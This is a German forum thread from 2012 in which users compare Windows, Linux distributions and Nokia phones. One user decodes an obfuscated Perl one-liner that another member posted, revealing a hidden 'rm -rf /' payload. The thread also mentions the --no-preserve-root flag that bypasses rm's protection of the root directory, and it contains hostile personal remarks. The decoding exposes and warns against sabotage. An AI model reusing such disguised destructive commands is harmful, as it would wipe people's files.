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Euer Betriebssystem - Druckversion

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RE: Euer Betriebssystem - Blu3t0oth - 09.09.2012, 12:46

(09.09.2012)KeiserWiliem schrieb:  Ich versteh die Leute die Sagen das Linux kompliziert sei nicht.
Ich hab Kubuntu installiert und alles hat Funktioniert. Musste kein Treiber nach installieren, keine Codecs usw.

Es kommt auf die Distribution, deren Dokumentation und die Standardkonfiguration an. Kubuntu ist relativ benutzerfreundlich, Arch Linux nicht, hat aber dafür einer der besten Dokumentationen.

Viele Neulinge greifen nach beliebten Distributionen wie Linux Mint, Ubuntu oder OpenSuSe. Auch dort kann es Anfangs Ärger geben, wenn nicht alle wichtigen Treiber installiert sind, oder falsche Hardware erkannt wird, und dadurch auch die falschen Treiber installiert werden. Das ist mir unter Kubuntu passiert, als ich nach propietären Treibern gesucht habe. Unter Arch Linux habe ich sie manuell installiert, und hatte keine Probleme.

Neue Nutzer müssen sich auch erstmal an das Terminal, den Paketmanager und co gewöhnen. Ist man einmal drinne, wird die Nutzung unter Linux immer leichter und man kann dann komplexere Distributionen ausprobieren.

Ubuntu ist für Anfänger sehr gut geeignet, da es ja fertige .deb Pakete mitliefert und auch Synaptic und das Software-Center sehr übersichtlich sind.


RE: Euer Betriebssystem - Snowbooons - 09.09.2012, 12:48

Windows 7 FS grins
Hat doch mittlerweile fast jeder AJ hmm


RE: Euer Betriebssystem - emosewA - 09.09.2012, 12:53

(09.09.2012)KeiserWiliem schrieb:  [...]
Bald bekomme ich auch auch ein Meego Gerät (Ist schon bestellt). Das Zähle ich auch mal mit, da es ein Vollwertiges Betriebssystem drauf hat, wozu ich Android und iOS nicht zähle.

Das N9 oder das Spark/Vivaldi? Beide finde ich recht interessant. Bei letzerem haperts, dass ich keine Mail von denen bekomme, und beim N9 fehlt mir doch die Tastatur. Da warte ich lieber und gucke was Jolla in den nächsten Monaten auf den Markt wirft.


RE: Euer Betriebssystem - 404compliant - 09.09.2012, 17:54

Ich habe mittlerweile eine Kopie des Originalcode bekommen, und man erkennt auf den ersten Blick die Perl-Bombe... Facehoof
Aber ich muss hier ja noch einen Beweis antreten. Twilight happy

Ich poste mal eine ENTSCHÄRFTE Kopie, bei der ich zwei entscheidende Details weggelassen habe, wodurch das Ganze unschädlich wird:

  echo "test" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;print $_'

Der Original-Code enthielt an Stelle des finalen print $_ eine kryptische Zeichenfolge, die ich hier aus Sicherheitsgründen, und um keine Skript-Kiddies anzuziehen, nicht posten werde.

Dann wollen wir mal:

  $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;print $_

Hier wird gezielt Verwirrung gestiftet. $? ist der letzte Returnstatus, und ist hier immer 0. Es folgt ein ? : Operator bis zum markierten Semikolon. Alles zwischen ? und : ist reine Ablenkung und hat keine Funktion. Also lassen wir doch den unnötigen Teil mal weg:

  s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;print $_

s;;; ist dem ein oder anderen Perl-Entwickler sicher bekannt, allerdings in der gebräuchlicheren Schreibweise s///. Es wird im (leeren) Inhalt von $_ der leere, reguläre Ausdruck // durch den Textstring =]=>%-{<-|}<&|`{ ersetzt. Probieren wir das doch mal aus:

  #>perl -e 's;;=]=>%-{<-|}<&|`{;;print $_'
  =]=>%-{<-|}<&|`{


Bis hier hin wird also nur eine seltsame Zeichenfolge in $_ abgelegt.

  s//=]=>%-{<-|}<&|`{/;y; -/:-@[-`{-};`-{/" -;;print $_

Bei y;;; handelt es sich wieder um den gleichen Trick: Das ist das gleiche, wie tr///, der Zeichenersetzungs-Operator. Folgende Zeichenfolgen stehen im Suchen Translate-Block:
Leerzeichen bis / (ASCII 32 bis 47, 16 Zeichen)
: bis @ (ASCII 58 bis 64, 7 Zeichen)
[ bis ` (ASCII 91 bis 96, 6 Zeichen)
{ bis } (ASCII 123 bis 125, 3 Zeichen)

Folgende im Ersetzen-Block:
` bis { (ASCII 96 - 123)
/ (ASCII 47)
" (ASCII 34)
Leer bis Ende der Tabelle (ASCII 32 - 35, weil die Suchen-Tabelle 32 Zeichen lang ist, und nur noch 4 Zeichen fehlen)

Ich spar mir mal, die Tabelle weiter aufzudröseln, lassen wir Perl das machen:

  #>perl -e 's//=]=>%-{<-|}<&|`{/;tr; -/:-@[-`{-};`-{/" -;;print $_'
  system"rm -rf /"


Da haben wir ja den Übeltäter. Es bleibt die hier nicht gepostete Zeichenfolge, die an Stelle des print $_ stand. Natürlich hat dieser Code nichts weiter gemacht, als $_ als Perl-Code auszuführen, was fleißig alle Dateien auf der Festplatte gelöscht hätte. Und damit ist auch klar, dass das im Original vorhandene echo "test" | ebenfalls nur zur Ablenkung diente.

<edit>
Ok, nicht jeder kennt Unix so gut, also ergänze ich das noch:
Was beim letzten Kommando noch auf dem Bildschirm ausgegeben wurde, wäre ausgeführt worden: rm -rf / ist eine Unix-Anweisung, alle Dateien auf der gesamten Festplatte zu löschen.
</edit>

Was bleibt abschließend zu sagen? Ja, man kann Perl-Code lesen, auch wenn es nicht einfach ist.
Und: Das war versuchte Datensabotage von bitsy, und sollte nicht ohne Konsequenzen bleiben.
Wer sich mit fremden Perl-Federn schmückt, und trollige Skriptkiddie-Attacken versucht, muss halt damit rechnen, dass so was auch mal nach hinten los geht.


RE: Euer Betriebssystem - LightningGear - 09.09.2012, 17:58

(09.09.2012)404compliant schrieb:  Ich habe mittlerweile eine Kopie des Originalcode bekommen, und man erkennt auf den ersten Blick die Perl-Bombe... Facehoof
Aber ich muss hier ja noch einen Beweis antreten. Twilight happy

Ich poste mal eine ENTSCHÄRFTE Kopie, bei der ich zwei entscheidende Details weggelassen habe, wodurch das Ganze unschädlich wird:

  echo "test" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;print $_'

Der Original-Code enthielt an Stelle des finalen print $_ eine kryptische Zeichenfolge, die ich hier aus Sicherheitsgründen, und um keine Skript-Kiddies anzuziehen, nicht posten werde.

Was bleibt abschließend zu sagen? Ja, man kann Perl-Code lesen, auch wenn es nicht einfach ist.
Und: Das war versuchte Datensabotage von bitsy, und sollte nicht ohne Konsequenzen bleiben.
Wer sich mit fremden Perl-Federn schmückt, und trollige Skriptkiddie-Attacken versucht, muss halt damit rechnen, dass so was auch mal nach hinten los geht.

Für mich ist das außerirdischer Kauderwelsch. Da ist für selbst C++ leichter zu lesen. BASIC sowieso.

Aber das versuchte Datensabotage nicht konsequenzlos bleiben sollte, da stimme ich zu. Auch wenn ich nicht weiß, was der urspüngliche Code gemacht hätte.


RE: Euer Betriebssystem - Colora Paint - 09.09.2012, 18:00

Mein Betriebssystem ist Windows 7
Davor hatte ich XP und Vista


RE: Euer Betriebssystem - emosewA - 09.09.2012, 18:47

(09.09.2012)404compliant schrieb:  [...]
<edit>
Ok, nicht jeder kennt Unix so gut, also ergänze ich das noch:
Was beim letzten Kommando noch auf dem Bildschirm ausgegeben wurde, wäre ausgeführt worden: rm -rf / ist eine Unix-Anweisung, alle Dateien auf der gesamten Festplatte zu löschen.
</edit>
[...]

Schimmer noch, es löscht SÄMTLICHE Dateien auf SÄMTLICHEN eingehangenen Datenträgern. Zumindest die, auf der der aktuelle User Schreibrechte hat. Wenn man nicht root ist, sollte also zumindest das System heil bleiben, aber SÄMTLICHE privaten Daten wären futsch.

Achtung, ich schalte nun in den Ragemode. Wahrscheinlich bekomme ich dafür wieder ordentlich Punkte auf mein Konto, aber das ist mir dieses mal ziemlich egal. Wer's nicht lesen will, klappt den Spoiler nicht auf:
Spoiler (Öffnen)

EDIT: Ich habe gerade kurz mit dem Gedanken gespielt ihm in einer PN meine "Meinung über ihn darzulegen". Aber ich lass das doch mal sein, er ist es nicht Wert.


RE: Euer Betriebssystem - Blu3t0oth - 09.09.2012, 20:06

(09.09.2012)404compliant schrieb:  Ich habe mittlerweile eine Kopie des Originalcode bekommen, und man erkennt auf den ersten Blick die Perl-Bombe... Facehoof

Ich hab mir den Code rechtzeitig abgespeichert, und wollte ihn bei genug Zeit ebenfalls mal testen. Danke, dass du uns vor der Falle warnst.

(09.09.2012)emosewA schrieb:  Ich frage mich ernsthaft, wie dieser offensichtlich vollkommen geisteskranke Mensch, hier anscheinend posten darf, was er will. Alleine sein Post in Blu3t0oth's Thread war eine absolute Frechheit.

Nun ja, ich fand seine Antwort dort auch nicht wirklich prickelnd. Sein Beitrag hat mich schon mehr down gemacht, als es mich aufmuntern sollte. Aber das ist ein anderes Thema, welches hier in dem Thread nichts zu suchen hat.

(09.09.2012)emosewA schrieb:  Alleine die Art, wie er im Pädophilie Thread geschrieben hat, sollte sogar jedem nicht Psychologen zeigen, dass dieser Kerl schwerwiegende Probleme hat

Vielleicht war das auch seine ehrliche Meinung zu dem Thema. Auch wenn ich zu dem Thema negativ gestimmt bin, so muss ich wohl seine Meinung akzeptieren.

(09.09.2012)emosewA schrieb:  Und jetzt das hier, das geht eindeutig zu weit. Wieso kriegen hier User für ein bisschen rumgetrolle/gespamme Schreibsperren und Tempbans und dieser Irre, der allen Anschein nach nach seiner Geburt fallen gelassen wurde postet fröhlich weiter.

Auch, wenn wir öfters mal Meinungsverschiedenheiten hatten, so muss ich dir in diesem Punkt zustimmen. Was ist, wenn durch diesen Code andere User schaden davon genommen haben, und deren wichtigen Dateien nun hinüber sind? Sowas ist wirklich seine Sauerei.

Ich hoffe einfach, dass sowas nie wieder passiert. Aber auch ich möchte nicht zu weit Off-Topic gehen. Es geht hier schließlich um Betriebssysteme und nicht um irgendeinen Code, der in Perl geschrieben wurde.


RE: Euer Betriebssystem - 404compliant - 09.09.2012, 23:32

(09.09.2012)emosewA schrieb:  Zumindest die, auf der der aktuelle User Schreibrechte hat. Wenn man nicht root ist, sollte also zumindest das System heil bleiben, aber SÄMTLICHE privaten Daten wären futsch.

Das war die zweite Änderung, die ich gemacht habe. Der Original-Code enthielt natürlich noch einen Wechsel nach root, der aber für das Analysieren unwichtig war. (Und damit genug OT)


RE: Euer Betriebssystem - Atra Demonica - 10.09.2012, 01:28

Ich bin und bleib auf Windows 7. Ich bin einfach ein zu großer und zu vielfältiger Zocker als das ich ein anderes OS benutzen wollen würde.


RE: Euer Betriebssystem - KeiserinSkadi - 10.09.2012, 05:37

(09.09.2012)Blu3t0oth schrieb:  
Spoiler (Öffnen)
Mit dem Terminal muss man nicht wirklich umgehen können. Unter Ubuntu kommt man problemlos ohne aus.
Ich kenne mich zwar damit aus und habe es eine Zeitlang massiv verwendet aber Mittlerweile benutze ich den eigentlich nur noch um mein Server zu verwalten, die ja kein GUI haben.

Was den Software Center angeht, das ist einfach Luxus Big Grin
Suchen, anklicken, Installiert und bleibt immer Aktuell.

(09.09.2012)Snowbooons schrieb:  Windows 7 FS grins
Hat doch mittlerweile fast jeder AJ hmm
Nö, ich nicht, und das wird sich auch nie ändern.

(09.09.2012)emosewA schrieb:  Das N9 oder das Spark/Vivaldi? Beide finde ich recht interessant. Bei letzerem haperts, dass ich keine Mail von denen bekomme, und beim N9 fehlt mir doch die Tastatur. Da warte ich lieber und gucke was Jolla in den nächsten Monaten auf den Markt wirft.
N9. Ich bin halt ein Nokia Fan, mein anders Handy ist auch von Nokia Big Grin


RE: Euer Betriebssystem - Pulse Wave - 10.09.2012, 13:01

(04.09.2012)92JuRe schrieb:  Windows ist auch einfacher.
Wenn man nichts anderes als Windows kennt und "Computerbenutzung" == "Windows" setzt, dann ja. Das gefühlt Schwierige ist das Ungewöhnliche, die Notwendigkeit des Umlernens. Aber es gibt auch für Standardanwender einen ganzen Haufen Sachen, die unter Linux (je nach Umgebung, oft genug auch generell) einfacher gehen.

So dermaßen viel zum Umgewöhnen gibt's eigentlich auch nicht. Okay, es gibt kein C:\ mehr, dafür gibt's so Sachen wie /usr/bin, /etc, /usr/share, /var usw. Das DVD-Laufwerk heißt nicht D:\, sondern /media/cdrom. Es gibt kein Notepad, geschweige denn Word, Excel, Powerpoint, Outlook, Internet Explorer usw., aber die Alternativen unter Linux gibt's (fast) alle auch für Windows. Man kauft sich seine Software auch nicht mehr im Laden oder lädt sie sich per Webbrowser irgendwo runter, sondern installiert alles zentral über die Paketverwaltung (deren Frontends App-Stores auch immer ähnlicher werden, nur daß Windows 7 eben nicht mal einen App Store hat).

Und man muß sich daran gewöhnen, daß es nicht einmal im Jahr einen Patchday für das System und gewisse wenige Anwendungen gibt, während man fast alles andere per händische Downloads aktuell halten muß, sondern daß alles, aber auch wirklich alles zentral über die Paketverwaltung aktualisiert wird, und zwar jederzeit. Patchday ist fast jeden Tag.

Was vielleicht für diejenigen, die mit Windows XP oder älter aufgewachsen sind, eine Umstellung ist, ist, daß der zuerst installierte Benutzer nicht alles darf. Windows legt zuerst immer ein Adminkonto mit vollen Zugriffsrechten auf alles an, und weil das gefährlich ist, hat man ab Vista eine zusätzliche Paßwortabfrage eingebaut. Linux legt ausschließlich eingeschränkte Benutzerkonten an. Entweder es wird ein separates Root-Paßwort bei der Installation angegeben, oder – das gibt's bei mehr und mehr Distributionen – einzelne Befehle können vom Benutzer händisch mit Rootrechten ausgeführt werden mittels sudo, von dem M$ wahrscheinlich die Zusatzabfrage ab Vista abgekupfert hat, das ich aber schon Anfang 2006 benutzt hab.

Daß "die Linux-Oberfläche" so viel anders und damit schwieriger zu bedienen ist als die von Windows ab 95 oder ab XP, das kann man Linux nicht vorwerfen. Erstens: Während 99% aller Installationen einer Windowsversion sich auf den ersten Blick praktisch nur in den Icons auf dem Desktop und im Schnellstartbereich, im Zeugs im Taskbereich sowie im Hintergrundbild unterscheiden, auch weil man als Anwender kaum mehr als die Position der (einzigen) Leiste und das Farbschema ändern oder alles auf den Windows-2000-Look umschalten kann, gibt's für Linux a) etliche komplett unterschiedliche Fenstermanager und Desktopumgebungen (KDE, Gnome, MATE, Cinnamon, Unity, Xfce, LXDE, Openbox, Fluxbox, E16, E17, Trinity, Razor-Qt, IceWM, fvwm, awesome usw. usf. etc. pp.), die b) alle mehr oder weniger komplett umgepflügt werden können und mit etlichen Themen kommen – man kann meistens sogar die Bestückung der Fenstertitelleiste mit Buttons verändern –, c) gestaltet natürlich jede Distribution ihre Oberflächen individuell, d) kommen die meisten Fenstermanager/Desktopumgebungen nach ihrer Installation zunächst mal in Windows-95-bis-7-Anordnung (gut, einige können das gar nicht, z. B. Unity), und e) ist es schon mehrere Male gelungen, mit entsprechenden Themen oder gar auf der Basis einer ganzen Distribution das Look & Feel von Windows ziemlich gut bis täuschend echt nachzuahmen. Wenn's drauf ankommt, kann Linux das Aussehen von beispielsweise Windows 2000 zu 98% nachahmen. (Mit derselben Desktopumgebung kriegt man dann übrigens auch ein OS-X-mäßiges Aussehen hin.) Man kann Linux also schwerlich zum Vorwurf machen, daß es nicht immer wie Windows aussieht. Nicht mal, daß es nicht wie Windows aussehen kann.

(04.09.2012)92JuRe schrieb:  Der vorteil von Lnux ist halt das es Modular is, aber dafür muss man sich damit auskennen.
Wobei interessanterweise gerade Linux der häufig kritisierte monolithische Kernel ist.

Was aber stimmt, ist, daß Linux-Systeme der UNIX-Philosophie folgen und viele kleine Anwendungen und Libraries für einen oder einige wenige Zwecke haben statt einen dicken fetten Binary Blob, der alles kann, nur nicht zerlegt werden.

Viele Leute motzen ja darüber, daß Linux über kleine Konfigurationsdateien in Textform eingestellt werden muß. Dem habe ich nur zu entgegnen: Unter Linux gibt's nicht so viel weniger per Maus zu konfigurieren als unter Windows, im Gegenteil. Wichtige Anwendungen haben längst Konfigurations-GUIs, die Desktopumgebungen sowieso (außer diese Konfigurationen sind der Benutzerfreundlichkeit™ geopfert worden wie unter Gnome 3 und Unity, aber da wird an 3rd-Party-Einstell-GUIs gearbeitet). Und wo Linux noch Konfigurationsskripte hat (und zwar lauter kleine und nicht so kleine auf einem Haufen unter /etc statt über Installationsordner verteilt), hat Windows die Registry. Einen einzigen gigantischen Binärblob, der ausschließlich mit Spezialprogrammen bearbeitet werden kann, nicht aber mit einem Texteditor, und der, wenn irgendwas in die Wicken geht, das ganze System unbenutzbar machen kann.

(04.09.2012)92JuRe schrieb:  
(04.09.2012)bisty schrieb:  Ist es nicht - z.B. wenn du unter Windows-Server die Logs in der SQL-Datenbank speichern willst, dann hast du schon ein riesiges Problem. Und unter Linux brauche ich ca. 30 Minuten Zeit, um die nötige Einstellungen zu machen. Das einzige, wozu Windows fähig ist, sind hardcore-Sex und Spielen. Und weil Valve schon Steam auf Linux portiert, bleibt es nur hardcore-Sex.

Windows ist ein monolithisches OS, also hat es alles was du brauchst. Es beinhaltet sofort alle Dienste und die Wichtigsten Treiber.

Linux aber ist modular und beinhaltet nach der Instillation nur den Kernel und möglicherweise die Treiber, aber dass ist dann schon ein Sonderfall. die ganzen Treiber, Dienste usw. muss man selber aufspielen und konfigurieren.
Wovon gehst du aus, wenn du von "Linux" sprichst? Den 90ern? Slackware? Arch? LFS?

Beispiele der Installation externer Hardware
Windows 7:
  1. Treiber-CD des Herstellers einlegen. Falls sie automatisch startet, weiter zu Schritt 4.
  2. Explorer öffnen.
  3. Installationsprogramm händisch starten.
  4. Gegebenenfalls Adminpaßwort eingeben.
  5. Durchs Installationsprogramm klicken.
  6. Windows neu starten.
  7. Browser öffnen.
  8. Auf Herstellerwebsite nach Updates für den Treiber suchen. Falls vorhanden, dieses herunterladen.
  9. Explorer öffnen.
  10. Treiberinstallationsprogramm händisch starten.
  11. Gegebenenfalls Adminpaßwort eingeben.
  12. Durchs Installationsprogramm klicken.
  13. Windows neu starten.
  14. Gerät anschließen.

Ubuntu 12.04 "Precise Pangolin" LTS:
  1. Gerät anschließen.
  2. Paar Sekunden warten, bis das schon vorhandene Kernelmodul selbsttätig geladen ist.

Die Zeiten, wo man für jedes Stück Hardware den Kernel neu konfigurieren und backen mußte, und zwar jedes Mal neu, wenn ein Update für den Kernel kam, sind lange vorbei.

Und Dienste sind unter Linux nicht hersteller- oder hardwarespezifisch (außer vielleicht Frontends für professionelle Audiohardware, und die laufen mitnichten als Daemon), sondern standardisiert.

(09.09.2012)KeiserWiliem schrieb:  Das ein oder andere Programm das ich brauche fehlt natürlich, da ich z.B. immer Opera benutze oder aufgrund mancher Leute Skype brauche.
Du weißt schon, daß Opera sein eigenes Repository für Debian hat, das auch unter *buntu geht, oder? Oder meinst du damit, daß Ubuntu Opera aus seinen eigenen Quellen rausgeschmissen hat? Früher™ war's ja noch dabei, da hatte ich aber trotzdem das Opera-Repository in den Quellen, weil das aktueller war.

(09.09.2012)KeiserWiliem schrieb:  Aber es ist einfach unglaublich viel schon dabei. Mutli-Chat Client, IRC, Cleint, Office (inklusiver Organisations-Tools), Torrent Programm, Dokument Betrachter (für PDF und Office Dateien), Texteditor (mit Highlighting von so ziemlich jeder Programmier- und Skriptsprache) und vieles mehr.
Noch ein Punkt für die meisten Linux-Distributionen: Die können out of the box so ziemlich alles, wofür man als Benutzer ausschließlich proprietärer, kommerzieller Software erst noch ein paar Hunderter hinlegen muß – und generell als Windows-User einige Zeit mit Downloaden im Webbrowser. Und in der Paketverwaltung gibt's noch viel, viel mehr, was man ruckzuck installieren kann, ungefähr so einfach wie eine App auf dem iPhone.

(09.09.2012)emosewA schrieb:  
(09.09.2012)KeiserWiliem schrieb:  [...]
Bald bekomme ich auch auch ein Meego Gerät (Ist schon bestellt). Das Zähle ich auch mal mit, da es ein Vollwertiges Betriebssystem drauf hat, wozu ich Android und iOS nicht zähle.

Das N9 oder das Spark/Vivaldi? Beide finde ich recht interessant. Bei letzerem haperts, dass ich keine Mail von denen bekomme, und beim N9 fehlt mir doch die Tastatur. Da warte ich lieber und gucke was Jolla in den nächsten Monaten auf den Markt wirft.
Jolla hatte ja schon was angekündigt in zwei Ausführungen: mit eingeschränkten Rechten für Normaluser und hackbar für Entwickler Geeks, aber ansonsten ein und dasselbe Modell. Sollte besser was Anständiges sein, ein Querformatslider, denn die N900s dieser Welt werden nicht jünger, besonders meins nicht, und seit der feindlichen Übernahme durch Microsoft in Form des MS-Statthalters Stephen Elop bringt Nokia eh nichts Brauchbares mehr zustande. Das N9 gibt's, ja, aber Elop scheint alles dafür zu tun, daß es nirgendwo erhältlich ist, damit auch ja keiner ein Linuxphone kauft. Außerdem hat Nokia da den Fehler gemacht, die Hardwaretastatur wegzuzüchten. Ich würde sogar sagen, deren Aktienkurs ginge es besser, wenn sie das N950 als reguläres Geekphone auf den Markt gebracht hätten, statt es nur an Entwickler zu verteilen.

Wenn Jolla es richtig macht, werden sie vom Fleck weg mehr Smartphones mit GNU/Linux draufen verkaufen als Nokia Windows-Phones und Gummistiefel zusammen.


RE: Euer Betriebssystem - emosewA - 10.09.2012, 20:52

(10.09.2012)KeiserWiliem schrieb:  [...]
(09.09.2012)emosewA schrieb:  Das N9 oder das Spark/Vivaldi? Beide finde ich recht interessant. Bei letzerem haperts, dass ich keine Mail von denen bekomme, und beim N9 fehlt mir doch die Tastatur. Da warte ich lieber und gucke was Jolla in den nächsten Monaten auf den Markt wirft.
N9. Ich bin halt ein Nokia Fan, mein anders Handy ist auch von Nokia Big Grin

Wie gesagt, ich bin mein N900 und meine Tastatur gewöhnt, da schrecke ich vor dem N9 doch etwas zurück.

(10.09.2012)Pulse Wave schrieb:  [...]
(09.09.2012)emosewA schrieb:  
(09.09.2012)KeiserWiliem schrieb:  [...]
Bald bekomme ich auch auch ein Meego Gerät (Ist schon bestellt). Das Zähle ich auch mal mit, da es ein Vollwertiges Betriebssystem drauf hat, wozu ich Android und iOS nicht zähle.

Das N9 oder das Spark/Vivaldi? Beide finde ich recht interessant. Bei letzerem haperts, dass ich keine Mail von denen bekomme, und beim N9 fehlt mir doch die Tastatur. Da warte ich lieber und gucke was Jolla in den nächsten Monaten auf den Markt wirft.
Jolla hatte ja schon was angekündigt in zwei Ausführungen: mit eingeschränkten Rechten für Normaluser und hackbar für Entwickler Geeks, aber ansonsten ein und dasselbe Modell. [...]

Ich denke mal, das wird ähnlich wie mit dem N9, wo man in den Einstellungen 'nen Schalter umlegen muss. Oder wie beim N900 mit rootsh.

(10.09.2012)Pulse Wave schrieb:  [...] Sollte besser was Anständiges sein, ein Querformatslider, denn die N900s dieser Welt werden nicht jünger, besonders meins nicht, und seit der feindlichen Übernahme durch Microsoft in Form des MS-Statthalters Stephen Elop bringt Nokia eh nichts Brauchbares mehr zustande. Das N9 gibt's, ja, aber Elop scheint alles dafür zu tun, daß es nirgendwo erhältlich ist, damit auch ja keiner ein Linuxphone kauft. Außerdem hat Nokia da den Fehler gemacht, die Hardwaretastatur wegzuzüchten. Ich würde sogar sagen, deren Aktienkurs ginge es besser, wenn sie das N950 als reguläres Geekphone auf den Markt gebracht hätten, statt es nur an Entwickler zu verteilen.

Wenn Jolla es richtig macht, werden sie vom Fleck weg mehr Smartphones mit GNU/Linux draufen verkaufen als Nokia Windows-Phones und Gummistiefel zusammen.

Ich gehe aber mal davon aus, das erste wird ohne Tastatur. Einfach weil es beim Mainstream besser ankommt. Jolla ist auch nur ein gewinnorientiertes Unternehmen. Aber ich bin mir sicher, dass etwas mit Tastatur kommen wird, schließlich sind ja 100% der <=N900 User potentielle Kunden.


RE: Euer Betriebssystem - bisty - 13.09.2012, 21:55

(09.09.2012)404compliant schrieb:  Ok, nicht jeder kennt Unix so gut, also ergänze ich das noch:
Was beim letzten Kommando noch auf dem Bildschirm ausgegeben wurde, wäre ausgeführt worden: rm -rf / ist eine Unix-Anweisung, alle Dateien auf der gesamten Festplatte zu löschen.
</edit>
Nun, das gilt nur für alte Versionen von coreutils - "rm"-Kommando in neuen Linux-Distros wird "/"-Verzeichnis nur dann löschen, wenn dieses Kommando mit der "--no-preserve-root" Option ausgeführt wird:

Zitat:sudo rm -rf / 11:52 Do 13
[sudo] password for den:
rm: Es ist gefährlich, rekursiv auf »/“ zu arbeiten.
rm: Benutzen Sie --no-preserve-root, um diese Sicherheitsmaßnahme zu umgehen.

Nun, ja, vielleicht habe ich doch ein bisschen übertrieben - Ich hätte wohl "mv /home /home.pwned"-Kommando(oder was ähnliches, was 100%-Unschädlich ist) benutzen müssen.



@emosewA, und dir werde ich auch eine Antwort geben: Jve fvaq nyyr rva Ovffpura ireeüpxg, zna. Haq vpu xbzzr qnzvg xyne. Qh xbzzfg nafpurvaraq avpug zvg qvrfre Gngfnpur xyne, haq qrfjrtra ovfg qh fb oöfr. Ragfcnaar qvpu zny, oribe qh rvara Uremnasnyy xevrtfg.




RE: Euer Betriebssystem - emosewA - 14.09.2012, 19:41

(13.09.2012)bisty schrieb:  [...]
@emosewA, und dir werde ich auch eine Antwort geben: Jve fvaq nyyr rva Ovffpura ireeüpxg, zna. Haq vpu xbzzr qnzvg xyne. Qh xbzzfg nafpurvaraq avpug zvg qvrfre Gngfnpur xyne, haq qrfjrtra ovfg qh fb oöfr. Ragfcnaar qvpu zny, oribe qh rvara Uremnasnyy xevrtfg.

Man, du bist so unglaublich erwachsen! Wie wäre es, wenn du von einem der lustigen Kremltürme springst?


RE: Euer Betriebssystem - Fluttersparkle - 14.09.2012, 20:13

Mein Rechner hat noch Windows XP. Allerdings ist er auch ziemlich alt und hat schon ein paar Macken. FS sad Wenn ich mir einen neuen hole, wird er Windows 7 haben.


RE: Euer Betriebssystem - RainbowShyDash - 16.09.2012, 21:49

Schliesse mich Fluttersparkle an ...hab nen altes hamserrad als pc und was anderes als XP lässt der gar nicht zu


RE: Euer Betriebssystem - Neroshade - 17.09.2012, 13:39

Auf meinem Desktop Pc ist Xp drauf,der ist seit 5 jahren nicht überholt worden.
Mein Laptop hat Windows 7,der ist aber auch schon 3 Jahre alt und so langsam geht ihm die Luft aus was Spiele betrifft.
Mein Samsung Galaxy S2 hat Android als betriebssystem.


RE: Euer Betriebssystem - Xefec - 17.09.2012, 13:52

Mein PC hat Windows 7 Ultimate 64Bit
Mein Laptop hat Windows XP
Und mein Galaxy S3 hat Android


RE: Euer Betriebssystem - Pulse Wave - 25.10.2012, 07:47

Während mein erst ein halbes Jahr alter Nettop (Ubuntu 12.10 "Quantal Quetzal") mit einem Hardwareschaden ausgefallen ist, läuft auf seinem Vorgänger mal was Neues: Bridge Linux. Ist im Prinzip Arch, aber praktisch out-of-the-box einsetzbar, ohne daß man sich alles selbst zusammenbasteln muß, dabei immer noch rolling. Einziger Pferdefuß bei Arch ist, daß es schwierig ist, Netzlaufwerke automatisch einzubinden, da muß ich noch bei.

Nächste Woche kommt als zweites Testsystem Bodhi Linux 2.1 drauf, das ist Ubuntu 12.04 LTS in etwas verschlankt mit Enlightenment als Umgebung.